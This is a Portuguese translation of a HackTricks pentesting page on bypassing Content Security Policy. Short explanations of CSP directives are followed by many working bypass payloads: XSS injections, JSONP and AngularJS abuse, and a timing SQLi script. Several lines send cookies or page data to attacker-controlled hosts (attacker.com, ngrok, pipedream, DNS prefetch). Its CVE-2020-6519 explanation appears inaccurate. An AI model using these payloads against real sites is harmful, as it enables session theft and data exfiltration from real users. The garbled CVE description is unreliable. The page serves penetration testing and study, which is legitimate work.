mirror of https://github.com/carlospolop/hacktricks synced 2024-11-24 13:43:24 +00:00

History

Translator workflow c928d8e52e Translated to Portuguese		2023-06-06 18:56:34 +00:00
..
csp-bypass-self-+-unsafe-inline-with-iframes.md	Translated to Portuguese	2023-06-06 18:56:34 +00:00
README.md	Translated to Portuguese	2023-06-06 18:56:34 +00:00

README.md

Bypass de Política de Segurança de Conteúdo (CSP)

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
Descubra A Família PEASS, nossa coleção exclusiva de NFTs
Adquira o swag oficial do PEASS & HackTricks
Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.

Siga HackenProof para aprender mais sobre bugs web3

🐞 Leia tutoriais sobre bugs web3

🔔 Receba notificações sobre novos programas de recompensas por bugs

💬 Participe de discussões na comunidade

O que é CSP

A Política de Segurança de Conteúdo ou CSP é uma tecnologia integrada ao navegador que ajuda a proteger contra ataques como cross-site scripting (XSS). Ela lista e descreve caminhos e fontes a partir das quais o navegador pode carregar recursos com segurança. Os recursos podem incluir imagens, frames, javascript e mais. Aqui está um exemplo de recursos permitidos do domínio local (self) para serem carregados e executados em linha e permitir funções de execução de código de string como eval, setTimeout ou setInterval:

A Política de Segurança de Conteúdo é implementada via cabeçalhos de resposta ou elementos meta da página HTML. O navegador segue a política recebida e bloqueia ativamente violações à medida que são detectadas.

Implementado via cabeçalho de resposta:

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';

Implementado via meta tag:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Cabeçalhos

Content-Security-Policy
Content-Security-Policy-Report-Only Este não bloqueará nada, apenas enviará relatórios (usado em ambiente de pré-produção).

Definindo recursos

O CSP funciona restringindo as origens de onde o conteúdo ativo e passivo pode ser carregado. Ele também pode restringir certos aspectos do conteúdo ativo, como a execução de javascript inline e o uso de eval().

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Diretivas

script-src: Esta diretiva especifica as fontes permitidas para JavaScript. Isso inclui não apenas URLs carregados diretamente em elementos, mas também coisas como manipuladores de eventos de script inline (onclick) e folhas de estilo XSLT que podem acionar a execução de script.
default-src: Esta diretiva define a política para buscar recursos por padrão. Quando as diretivas de busca estão ausentes no cabeçalho CSP, o navegador segue esta diretiva por padrão.
Child-src: Esta diretiva define os recursos permitidos para trabalhadores da web e conteúdo de quadros incorporados.
connect-src: Esta diretiva restringe URLs para carregar usando interfaces como fetch, websocket, XMLHttpRequest.
frame-src: Esta diretiva restringe URLs para quadros que podem ser chamados.
frame-ancestors: Esta diretiva especifica as fontes que podem incorporar a página atual. Esta diretiva se aplica a <frame>, <iframe>, <object>, <embed>, ou <applet>. Esta diretiva não pode ser usada em tags e se aplica apenas a recursos não HTML.
img-src: Define as fontes permitidas para carregar imagens na página da web.
font-src: A diretiva especifica fontes válidas para fontes carregadas usando @font-face.
manifest-src: Esta diretiva define as fontes permitidas de arquivos de manifesto de aplicativo.
media-src: Define as fontes permitidas de onde objetos de mídia podem ser carregados.
object-src: Define as fontes permitidas para os elementos <object>, <embed> e <applet>.
base-uri: Define as URLs permitidas que podem ser carregadas usando um elemento.
form-action: Esta diretiva lista os pontos finais válidos para envio de tags.
plugin-types: Define limites nos tipos de mime que uma página pode invocar.
upgrade-insecure-requests: Esta diretiva instrui os navegadores a reescrever os esquemas de URL, mudando HTTP para HTTPS. Esta diretiva pode ser útil para sites com um grande número de URLs antigas que precisam ser reescritas.
sandbox: A diretiva sandbox permite um sandbox para o recurso solicitado, semelhante ao atributo sandbox. Ele aplica restrições às ações de uma página, incluindo a prevenção de pop-ups, a prevenção da execução de plug-ins e scripts e a aplicação de uma política de mesma origem.

Fontes

*: Isso permite qualquer URL, exceto os esquemas data:, blob: e filesystem:
self: Esta fonte define que o carregamento de recursos na página é permitido a partir do mesmo domínio.
data: Esta fonte permite o carregamento de recursos via o esquema de dados (por exemplo, imagens codificadas em Base64)
none: Esta diretiva não permite que nada seja carregado de qualquer fonte.
unsafe-eval: Isso permite o uso de eval() e métodos semelhantes para criar código a partir de strings. Esta não é uma prática segura para incluir esta fonte em qualquer diretiva. Por esse motivo, é chamado de inseguro.
unsafe-hashes: Isso permite a ativação de manipuladores de eventos inline específicos.
unsafe-inline: Isso permite o uso de recursos inline, como elementos inline, URLs javascript:, manipuladores de eventos inline e elementos inline. Novamente, isso não é recomendado por motivos de segurança.
nonce: Uma lista branca para scripts inline específicos usando um nonce criptográfico (número usado uma vez). O servidor deve gerar um valor de nonce exclusivo cada vez que transmite uma política.
sha256-<hash>: Lista branca de scripts com um hash sha256 específico.
strict-dynamic: Permite que o navegador carregue e execute novas tags JavaScript no DOM de qualquer fonte de script que tenha sido previamente listada por um valor "nonce" ou "hash".
host: Indica um host, como example.com

Regras CSP inseguras

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Carga útil de trabalho: "/><script>alert(1);</script>

self + 'unsafe-inline' via Iframes

{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}

'unsafe-eval'

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Carga útil funcional:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

Se você de alguma forma conseguir fazer com que um código JS permitido crie uma nova tag de script no DOM com o seu código JS, porque um script permitido está criando isso, a nova tag de script será permitida a ser executada.

Wildcard (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

Carga útil funcional:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Falta de object-src e default-src

{% hint style="danger" %} Parece que isso não funciona mais {% endhint %}

Content-Security-Policy: script-src 'self' ;

Cargas úteis funcionais:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

Upload de Arquivo + 'self'

Descrição

A diretiva self é usada para especificar que apenas recursos do mesmo domínio devem ser permitidos. Isso é útil para evitar ataques de origem cruzada (XSS) e outros tipos de ataques. No entanto, se um site permitir o upload de arquivos, um atacante pode explorar essa diretiva para fazer o upload de um arquivo malicioso e, em seguida, acessá-lo usando a diretiva self.

Exemplo

Suponha que um site permita o upload de imagens e use a seguinte diretiva CSP:

Content-Security-Policy: default-src 'self'; img-src 'self'

Isso significa que apenas recursos do mesmo domínio são permitidos por padrão e que apenas imagens do mesmo domínio são permitidas. No entanto, um atacante pode fazer o upload de um arquivo HTML malicioso que inclua uma imagem com a seguinte tag:

<img src="https://example.com/evil-image.jpg" onerror="document.location='https://example.com/leak.php?cookie='+document.cookie;">

Quando a imagem é carregada, o código JavaScript no atributo onerror é executado, o que redireciona o usuário para um site controlado pelo atacante e vaza o cookie do usuário.

Mitigação

Para evitar esse tipo de ataque, é importante validar os arquivos enviados pelo usuário e não confiar na diretiva self para proteger contra ataques de upload de arquivos maliciosos. Além disso, é importante usar outras diretivas CSP, como script-src e style-src, para proteger contra ataques de XSS.

Content-Security-Policy: script-src 'self';  object-src 'none' ;

Se você pode fazer upload de um arquivo JS, você pode burlar essa CSP:

Payload de trabalho:

"/>'><script src="/uploads/picture.png.js"></script>

No entanto, é altamente provável que o servidor esteja validando o arquivo enviado e só permitirá que você envie um tipo específico de arquivo.

Além disso, mesmo que você possa enviar um código JS dentro de um arquivo usando uma extensão aceita pelo servidor (como: script.png), isso não será suficiente porque alguns servidores como o servidor Apache selecionam o tipo MIME do arquivo com base na extensão e navegadores como o Chrome rejeitarão a execução de código Javascript dentro de algo que deveria ser uma imagem. "Felizmente", existem erros. Por exemplo, de um CTF, aprendi que o Apache não conhece a extensão .wave, portanto, não a serve com um tipo MIME como áudio/*.

A partir daqui, se você encontrar um XSS e um upload de arquivo e conseguir encontrar uma extensão mal interpretada, poderá tentar enviar um arquivo com essa extensão e o conteúdo do script. Ou, se o servidor estiver verificando o formato correto do arquivo enviado, crie um poliglota (alguns exemplos de poliglotas aqui).

Endpoints de Terceiros + ('unsafe-eval')

{% hint style="warning" %} Para alguns dos payloads a seguir, unsafe-eval nem é necessário. {% endhint %}

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Carregue uma versão vulnerável do Angular e execute JS arbitrário:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
  <script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
  </script>
  <img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Payloads usando Angular + uma biblioteca com funções que retornam o objeto `window` (confira este post):

{% hint style="info" %} O post mostra que você pode carregar todas as bibliotecas de cdn.cloudflare.com (ou qualquer outro repositório de bibliotecas JS permitido), executar todas as funções adicionadas de cada biblioteca e verificar quais funções de quais bibliotecas retornam o objeto window. {% endhint %}

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
 {{$on.curry.call().alert(1)}}
 {{[].empty.call().alert([].empty.call().document.domain)}}
 {{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
  {{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
  {{[].erase.call().alert('xss')}}
</div>

Endpoints de Terceiros + JSONP

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Cenários como este, em que script-src é definido como self e um domínio específico que está na lista branca pode ser contornado usando JSONP. Os endpoints JSONP permitem métodos de retorno de chamada inseguros que permitem que um invasor execute XSS, payload de trabalho:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>

https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee contém endpoints JSONP prontos para uso para a CSP bypass de diferentes sites.

A mesma vulnerabilidade ocorrerá se o endpoint confiável contiver um redirecionamento aberto porque, se o endpoint inicial for confiável, os redirecionamentos também serão.

Bypass de caminho de pasta

Se a política CSP apontar para uma pasta e você usar %2f para codificar "/", ainda será considerado dentro da pasta. Todos os navegadores parecem concordar com isso.
Isso leva a uma possível bypass, usando "%2f..%2f" se o servidor decodificar. Por exemplo, se o CSP permitir http://example.com/company/, você pode ignorar a restrição da pasta e executar: http://example.com/company%2f..%2fattacker/file.js

Exemplo online: https://jsbin.com/werevijewa/edit?html,output

Execução de JS em iframes

{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

base-uri faltando

Se a diretiva base-uri estiver faltando, você pode abusar dela para realizar uma injeção de marcação pendente.

Além disso, se a página estiver carregando um script usando um caminho relativo (como /js/app.js) usando um Nonce, você pode abusar da tag base para fazer com que ele carregue o script do seu próprio servidor, alcançando um XSS.
Se a página vulnerável for carregada com httpS, use um URL httpS na base.

<base href="https://www.attacker.com/">

Eventos do AngularJS

Dependendo da política específica, o CSP bloqueará eventos JavaScript. No entanto, o AngularJS define seus próprios eventos que podem ser usados em vez disso. Quando dentro de um evento, o AngularJS define um objeto $event especial, que simplesmente faz referência ao objeto de evento do navegador. Você pode usar esse objeto para realizar uma bypass no CSP. No Chrome, há uma propriedade especial no objeto $event/event chamada path. Essa propriedade contém uma matriz de objetos que faz com que o evento seja executado. A última propriedade é sempre o objeto window, que podemos usar para realizar uma fuga de sandbox. Passando essa matriz para o filtro orderBy, podemos enumerar a matriz e usar o último elemento (o objeto window) para executar uma função global, como alert(). O seguinte código demonstra isso:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

Encontre outras formas de bypassar o Angular em https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS e domínio na lista branca

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

Se a aplicação estiver usando angular JS e os scripts forem carregados a partir de um domínio na lista branca, é possível contornar essa política CSP chamando funções de retorno de chamada e classes vulneráveis. Para mais detalhes, visite este incrível repositório do git.

Cargas úteis funcionais:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

Outros pontos de execução arbitrária JSONP podem ser encontrados aqui (alguns deles foram excluídos ou corrigidos).

Bypass CSP com marcação pendente

Leia como aqui.

'unsafe-inline'; img-src *; via XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' significa que você pode executar qualquer script dentro do código (XSS pode executar código) e img-src * significa que você pode usar em uma página da web qualquer imagem de qualquer recurso.

Você pode contornar essa CSP exfiltrando os dados por meio de imagens (nesta ocasião, o XSS abusa de um CSRF onde uma página acessível pelo bot contém um SQLi e extrai a bandeira por meio de uma imagem):

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

Você também pode abusar dessa configuração para carregar código javascript inserido dentro de uma imagem. Se, por exemplo, a página permitir o carregamento de imagens do Twitter, você pode criar uma imagem especial, carregá-la no Twitter e abusar do "unsafe-inline" para executar um código JS (como um XSS regular) que irá carregar a imagem, extrair o JS dela e executá-lo: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Com Workers de Serviço

A função importScripts dos workers de serviço não é limitada pelo CSP:

{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}

Injeção de Política

Pesquisa: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

Se um parâmetro enviado por você está sendo colado dentro da declaração da política, então você pode alterar a política de alguma forma que a torne inútil. Você pode permitir o script 'unsafe-inline' com qualquer um desses bypasses:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Porque essa diretiva irá sobrescrever diretivas script-src existentes.
Você pode encontrar um exemplo aqui: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

No Edge é muito mais simples. Se você puder adicionar no CSP apenas isso: ;_ o Edge irá descartar toda a política.
Exemplo: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; via XSS (iframe) - Ataque de tempo

Observe a falta da diretiva 'unsafe-inline'
Desta vez, você pode fazer a vítima carregar uma página em seu controle via XSS com um <iframe>. Desta vez, você vai fazer a vítima acessar a página de onde deseja extrair informações (CSRF). Você não pode acessar o conteúdo da página, mas se de alguma forma você puder controlar o tempo que a página precisa para carregar, poderá extrair as informações de que precisa.

Desta vez, uma flag será extraída, sempre que um caractere for adivinhado corretamente via SQLi, a resposta leva mais tempo devido à função de espera. Então, você poderá extrair a flag:

<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
	x = escape(x.replace(/_/g, '\\_'));
	return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`; 
}

function gen2(x) {
	x = escape(x);
	return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) { 
	let h = performance.now();
	f.location = (end ? gen2(word) : gen(word));
	await new Promise(r => {
		g.onload = r; 
	});
	let diff = performance.now() - h;
	return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
	let prefix = 'nn9ed{';
	while (true) {
		let i = 0;
		for (i;i<alphabet.length;i++) {
			let c = alphabet[i];
			let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
			console.log(prefix, c, t);
			if (t) {
				console.log('FOUND!')
				prefix += c;
				break;
			}
		}
		if (i==alphabet.length) {
			console.log('missing chars');
			break;
		}
		let t = await query(prefix+'}', true);
		if (t) {
			prefix += '}';
			break;
		}
	}
	new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
	console.log(prefix);
}

run();
</script>

CVE-2020-6519

Este é um CVE que foi descoberto em 2020 e permite que um atacante contorne a política de segurança de conteúdo (CSP) em navegadores modernos. A vulnerabilidade ocorre quando um site permite que um usuário carregue um arquivo JSON que contenha uma matriz de objetos. O atacante pode então injetar código malicioso em um dos objetos da matriz, que será executado pelo navegador sem ser detectado pela CSP. Isso pode levar a ataques de cross-site scripting (XSS) e outros tipos de ataques de injeção de código.

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

Vazamento de Informações CSP + Iframe

Imagine uma situação em que uma página está redirecionando para outra página com um segredo dependendo do usuário. Por exemplo, o usuário admin acessando redirectme.domain1.com é redirecionado para adminsecret321.domain2.com e você pode causar um XSS no admin.
Além disso, as páginas redirecionadas não são permitidas pela política de segurança, mas a página que redireciona é.

Você pode vazar o domínio para onde o admin é redirecionado através de:

violação de CSP
regras de CSP.

A violação de CSP é um vazamento instantâneo. Tudo o que precisa ser feito é carregar um iframe apontando para https://redirectme.domain1.com e ouvir o evento securitypolicyviolation que contém a propriedade blockedURI contendo o domínio do URI bloqueado. Isso ocorre porque o https://redirectme.domain1.com (permitido pelo CSP) redireciona para https://adminsecret321.domain2.com (bloqueado pelo CSP). Isso faz uso de um comportamento indefinido de como lidar com iframes com CSP. Chrome e Firefox se comportam de maneira diferente em relação a isso.

Quando você conhece os caracteres que podem compor o subdomínio secreto, também pode usar uma pesquisa binária e verificar quando o CSP bloqueou o recurso e quando não criando diferentes domínios proibidos no CSP (neste caso, o segredo pode estar na forma doc-X-XXXX.secdrivencontent.dev)

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

Truque de aqui.

Siga HackenProof para aprender mais sobre bugs web3

🐞 Leia tutoriais de bugs web3

🔔 Receba notificações sobre novas recompensas por bugs

💬 Participe de discussões na comunidade

Tecnologias Inseguras para Bypass CSP

Sobrecarga de buffer de resposta PHP

O PHP é conhecido por armazenar em buffer a resposta em 4096 bytes por padrão. Portanto, se o PHP estiver mostrando um aviso, fornecendo dados suficientes dentro dos avisos, a resposta será enviada antes do cabeçalho CSP, fazendo com que o cabeçalho seja ignorado.
Então, a técnica consiste basicamente em preencher o buffer de resposta com avisos para que o cabeçalho CSP não seja enviado.

Idea de este writeup.

Reescrever a página de erro

De este writeup parece que foi possível contornar uma proteção CSP carregando uma página de erro (potencialmente sem CSP) e reescrevendo seu conteúdo.

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
    a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + wordpress

SOME é uma técnica que abusa de um XSS (ou XSS altamente limitado) em um endpoint de uma página para abusar de outros endpoints da mesma origem. Isso é feito carregando o endpoint vulnerável a partir de uma página do atacante e, em seguida, atualizando a página do atacante para o endpoint real na mesma origem que você deseja abusar. Dessa forma, o endpoint vulnerável pode usar o objeto opener no payload para acessar o DOM do endpoint real a ser abusado. Para mais informações, verifique:

{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}

Além disso, o wordpress tem um endpoint JSONP em /wp-json/wp/v2/users/1?_jsonp=data que irá refletir os dados enviados na saída (com a limitação de apenas letras, números e pontos).

Um atacante pode abusar desse endpoint para gerar um ataque SOME contra o WordPress e incorporá-lo dentro de <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> observe que este script será carregado porque é permitido por 'self'. Além disso, e porque o WordPress está instalado, um atacante pode abusar do ataque SOME através do endpoint de retorno de chamada vulnerável que burla o CSP para dar mais privilégios a um usuário, instalar um novo plugin...
Para mais informações sobre como realizar este ataque, verifique https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

Bypasses de Exfiltração CSP

Se houver um CSP estrito que não permita que você interaja com servidores externos, há algumas coisas que você sempre pode fazer para exfiltrar as informações.

Location

Você pode simplesmente atualizar a localização para enviar ao servidor do atacante as informações secretas:

var sessionid = document.cookie.split('=')[1]+"."; 
document.location = "https://attacker.com/?" + sessionid;

Meta tag

Você pode redirecionar injetando uma meta tag (isso é apenas um redirecionamento, isso não vazará conteúdo)

<meta http-equiv="refresh" content="1; http://attacker.com">

DNS Prefetch

Para carregar páginas mais rapidamente, os navegadores pré-resolvem os nomes de host em endereços IP e os armazenam em cache para uso posterior.
Você pode indicar a um navegador para pré-resolver um nome de host com: <link reol="dns-prefetch" href="something.com">

Você pode abusar desse comportamento para exfiltrar informações confidenciais por meio de solicitações DNS:

var sessionid = document.cookie.split('=')[1]+"."; 
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

Outra maneira:

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

Para evitar que isso aconteça, o servidor pode enviar o cabeçalho HTTP:

X-DNS-Prefetch-Control: off

{% hint style="info" %} Aparentemente, essa técnica não funciona em navegadores headless (bots) {% endhint %}

WebRTC

Em várias páginas, é possível ler que o WebRTC não verifica a política connect-src do CSP.

var pc = new RTCPeerConnection({"iceServers":[{"urls":["turn:74.125.140.127:19305?transport=udp"],"username":"_all_your_data_belongs_to_us","credential":"."}]});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp));

No entanto, parece que não é mais possível (ou pelo menos não é tão fácil) exfiltrar informações com WebRTC.

Se você sabe como exfiltrar informações com WebRTC, envie um pull request, por favor!

Verificando as Políticas CSP Online

Criando CSP Automaticamente

https://csper.io/docs/generating-content-security-policy

Referências

Siga HackenProof para aprender mais sobre bugs web3

🐞 Leia tutoriais sobre bugs web3

🔔 Receba notificações sobre novas recompensas por bugs

💬 Participe de discussões na comunidade

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
Descubra The PEASS Family, nossa coleção exclusiva de NFTs
Adquira o swag oficial do PEASS & HackTricks
Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.

README.md Unescape Escape

Bypass de Política de Segurança de Conteúdo (CSP)

O que é CSP

Cabeçalhos

Definindo recursos

Diretivas

Fontes

Regras CSP inseguras

'unsafe-inline'

self + 'unsafe-inline' via Iframes

'unsafe-eval'

strict-dynamic

Wildcard (*)

Falta de object-src e default-src

Upload de Arquivo + 'self'

Descrição

Exemplo

Mitigação

Endpoints de Terceiros + ('unsafe-eval')

Payloads usando Angular + uma biblioteca com funções que retornam o objeto window (confira este post):

Endpoints de Terceiros + JSONP

Bypass de caminho de pasta

Execução de JS em iframes

base-uri faltando

Eventos do AngularJS

AngularJS e domínio na lista branca

Bypass CSP com marcação pendente

'unsafe-inline'; img-src *; via XSS

Com Workers de Serviço

Injeção de Política

Chrome

Edge

img-src *; via XSS (iframe) - Ataque de tempo

CVE-2020-6519

Vazamento de Informações CSP + Iframe

Tecnologias Inseguras para Bypass CSP

Sobrecarga de buffer de resposta PHP

Reescrever a página de erro

SOME + 'self' + wordpress

Bypasses de Exfiltração CSP

Location

Meta tag

DNS Prefetch

WebRTC

Verificando as Políticas CSP Online

Criando CSP Automaticamente

Referências

README.md

Payloads usando Angular + uma biblioteca com funções que retornam o objeto `window` (confira este post):